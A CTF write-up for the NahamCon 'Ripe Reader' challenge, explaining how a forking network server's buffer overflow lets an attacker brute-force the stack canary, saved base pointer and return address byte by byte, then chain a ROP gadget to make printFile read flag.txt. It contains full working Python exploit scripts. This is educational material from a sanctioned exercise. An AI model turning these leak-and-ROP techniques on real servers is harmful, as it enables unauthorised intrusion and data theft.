Ripe Reader was a difficult and atypical pwn challenge. With 26 solves, it was nahamcon ctf's least solved BE task, most likely due to the fact that it involved a technique that you dont often see in CTFs (at least in my experience).
What made the challenge atypical is that, rather than being hosted by having its stdin/stdout connected to a TCP port with socat or the like, the binary was set up to listen for incoming connections, and forking once a connection was recieved. This behaviour, coupled with a trivial buffer overflow, lead to the possibility of defeating both a stack canary and ASLR.
The following writeup is decently long, so if you are just looking for a solution script, feel free to scroll to the bottom.
Without too much effort, we should be able to spot a buffer overflow in the selectImg
function. In the source below, we can see a call to recv
is taking 0x400 bytes of input, and placing them into a buffer 0x40 bytes in size.
signed __int64 __fastcall selectImg(unsigned int a1)
{
char buf; // [rsp+10h] [rbp-40h]
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
send(a1, "Select one of the images:\n", 0x1AuLL, 0);
send(a1, "[1] @_johnhammond\n", 0x12uLL, 0);
send(a1, "[2] @NahamSec\n", 0xEuLL, 0);
send(a1, "[3] @thecybermentor\n", 0x14uLL, 0);
send(a1, "[4] @stokfredrik\n", 0x11uLL, 0);
send(a1, "[q] QUIT\n", 9uLL, 0);
recv(a1, &buf, 0x400uLL, 0);
if ( !strcmp(&buf, "1\n") )
{
printFile(a1, "./john.txt");
}
else if ( !strcmp(&buf, "2\n") )
{
printFile(a1, "./nahamsec.txt");
}
else if ( !strcmp(&buf, "3\n") )
{
printFile(a1, "./tcm.txt");
}
else if ( !strcmp(&buf, "4\n") )
{
printFile(a1, "./stok.txt");
}
else
{
if ( !strcmp(&buf, "q\n") )
return 1LL;
send(a1, "Invalid option!\n", 0x10uLL, 0);
}
return 0LL;
}
However this doesn't do us much good when we have to contend with a stack canary. In order to understand how we can proceed, it's important to have a basic understanding of how fork()
works.
From the manpage:
fork() creates a new process by duplicating the calling process. The
new process is referred to as the child process. The calling process
is referred to as the parent process.
The child process and the parent process run in separate memory
spaces. At the time of fork() both memory spaces have the same
content. Memory writes, file mappings (mmap(2)), and unmappings
(munmap(2)) performed by one of the processes do not affect the
other.
So when fork is called, both the parents and child processes have identical memory. Importantly, this means that every time we initiate a new connection with the binary, it will have the same stack canary. So some semblence of an attack plan falls into place; We can perform a byte by byte bruteforce, and aach time we overwrite by a byte which is incorrect, the connection will die due to a stack smashing related error. If we find the right byte, the binary should prompt us for more input as though nothing is wrong.
A challenge like this was a good opportunity to practise a bit of pwn sans pwntools, since it is a little cleaner to have a bare interface to the socket we are interacting with.
The following snippet can be used to leak the canary:
from struct import pack, unpack
from socket import socket, timeout
from telnetlib import Telnet
import codecs
import sys
from time import sleep
host = "three.jh2i.com"
port = 50023
buf = b"A"*56 # We are overflowing a buffer of 56 bytes
start = len (buf)
stop = len (buf) + 8
while len(buf) < stop:
for i in range(0,256):
print("Trying {}".format(hex(i)), end="\r", flush=True)
# Create a connection to the host and receive what is has to send
sock = socket()
sock.connect((host,port))
sock.recv(1024)
# Append the current byte to the payload
pay = buf+bytes([i])
# Send the payload and give the server time to respond
sock.send(pay)
sleep(1)
res = sock.recv(1024).decode()
# If it responds normally, we have found a byte of the canary
# We append it to the current buffer and continue
if "Select one of the images:" in res:
print("Found byte: " + hex(i))
buf += bytes([i])
sock.close()
break
sock.close()
canary = unpack('Q', buf[-8:])[0]
print("[+] Stack Canary value is " + hex(canary))
Awesome! But what else can we get? Well, any other incremental overwrite that can potentially cause the remote binary to not respond normally can lead to this kind of leak, which means that we can use the exact same method above to leak an address on the stack, and an address in the binary itself.
Since the space after our buffer looked like this:
| <-- canary --> | <-- saved rbp --> | <-- ret --> |
We can incrementally overwrite the saved stack base pointer and the saved return address, effectively leaking them too. The code to do so is the same as above.
So what can we do once we have defeated the canary and ASLR?
Conveniently, the binary contains a printFile
function, which takes a file name as an argument and prints it. So out strategy is clear; make a call to printFile
with flag.txt
as the argument.
But as always, setting this up is a little bit fiddly, and is a nice opportunity to hone some debugging skills. Let's start by listing what we need to construct our payload, and then finding it. We need:
printFile
flag.txt
string at a known locationUsing ropper or some such gadget finder, we can find a pop rsi; pop r15; ret
gadget at an offset of 0x1101
from the binary base.
Since we are able to leak a stack address, we can try storing the 'flag.txtstring in our buffer and passing a known address to
printFile`.
We can start off with something like this:
host = "localhost"
port = 1234
canary = 0xd78e383469691600
rbp = 0x7ffefaa4df34
bb = 0x556373177000
pop_rsi_r15 = pack("Q",bb + 0x1101)
filestring = rbp
printfile = pack("Q",bb + 0xfdc)
null = pack("Q", 0)
payload = b"./"*23 + b"flag.txt\x00\x00" + pack("Q", canary) \
+ pack("Q", rbp) + pop_rsi_r15 + pack("Q", filestring) \
+ null + printfile
sock = socket()
sock.connect((host,port))
sock.recv(1024)
sock.send(payload)
t = Telnet()
t.sock = sock
t.interact()
sock.close()
Note: I padded the flag.txt string with a bunch of ./
s to have a higher chance of hitting a valid filename.
Running the binary locally, we can debug it finding its pid, running gd as root, then issuing the commands:
attach <pid>
set follow-fork-mode child
if you are using gef
, you can also do:
pie breakpoint 0x1101
to break on the first gadget of the ropchain.
Running the exploit, and breaking at the first gadget, we can see something is slightly off. We need to make a slight adjustment, setting the location fo the filestring to be 0x34
bytes behind out rbp
leak. Once we make our adjustment, ourpayload leaks the flag.
Full exploit code: Note, exploit should be run in two modes: scan to makes the leaks, then hardcode the leaks to perform the exploits. The reason for this is the leaking takes a long time, and isn't feasible or necessary to run them each time you perform the exploit.
from struct import pack, unpack
from socket import socket, timeout
from telnetlib import Telnet
import codecs
import sys
from time import sleep
host = "three.jh2i.com"
port = 50023
if sys.argv[1] == "scan":
buf = b"./"*23 + b"flag.txt\x00\x00" + pack('Q', 0xf7ae008c0d81aa00)
start = len (buf)
stop = len (buf) + 8
while len(buf) < stop:
for i in range(0,256):
print("Trying {}".format(hex(i)), end="\r", flush=True)
sock = socket()
sock.connect((host,port))
sock.recv(1024)
pay = buf+bytes([i])
sock.send(pay)
sleep(1)
res = sock.recv(1024).decode()
if "Select one of the images:" in res:
print("Found byte: " + hex(i))
buf += bytes([i])
sock.close()
break
sock.close()
canary = unpack('Q', buf[-8:])[0]
print("[+] Stack Canary value is " + hex(canary))
start = len (buf)
stop = len (buf) + 8
while len(buf) < stop:
for i in range(0,256):
print("Trying {}".format(hex(i)), end="\r", flush=True)
sock = socket()
sock.connect((host,port))
sock.recv(1024)
pay = buf+bytes([i])
sock.send(pay)
sleep(1)
res = sock.recv(1024).decode()
if "Select one of the images:" in res:
print("Found byte: " + hex(i))
buf += bytes([i])
sock.close()
break
sock.close()
rbp = unpack('Q', buf[-8:])[0]
print("[+] Stack base pointer is value is " + hex(rbp))
start = len (buf)
stop = len (buf) + 8
while len(buf) < stop:
for i in range(0,256):
print("Trying {}".format(hex(i)), end="\r", flush=True)
sock = socket()
sock.connect((host,port))
sock.recv(1024)
pay = buf+bytes([i])
sock.send(pay)
sleep(1)
res = sock.recv(1024).decode()
if "Select one of the images:" in res:
print("Found byte: " + hex(i))
buf += bytes([i])
sock.close()
break
sock.close()
rbp = unpack('Q', buf[-8:])[0]
print("[+] Stack base pointer is value is " + hex(rbp))
main_offset = 0xd4a
ret = unpack('Q', buf[-8:])[0]
print(hex(ret))
binary_base = ret - main_offset
print("[+] Binary base address is " + hex(binary_base))
else:
canary = 0xf7ae008c0d81aa00
rbp = 0x7ffd64f14a24
bb = 0x55ccfd360000
pop_rsi_r15 = pack("Q",bb + 0x1101)
filestring = rbp - 0x34
printfile = pack("Q",bb + 0xfdc)
null = pack("Q", 0)
payload = b"./"*23 + b"flag.txt\x00\x00" + pack("Q", canary) \
+ pack("Q", rbp) + pop_rsi_r15 + pack("Q", filestring) \
+ null + printfile
sock = socket()
sock.connect((host,port))
sock.recv(1024)
sock.send(payload)
t = Telnet()
t.sock = sock
t.interact()
sock.close()
Flag: flag{should_make_an_ascii_flag_image}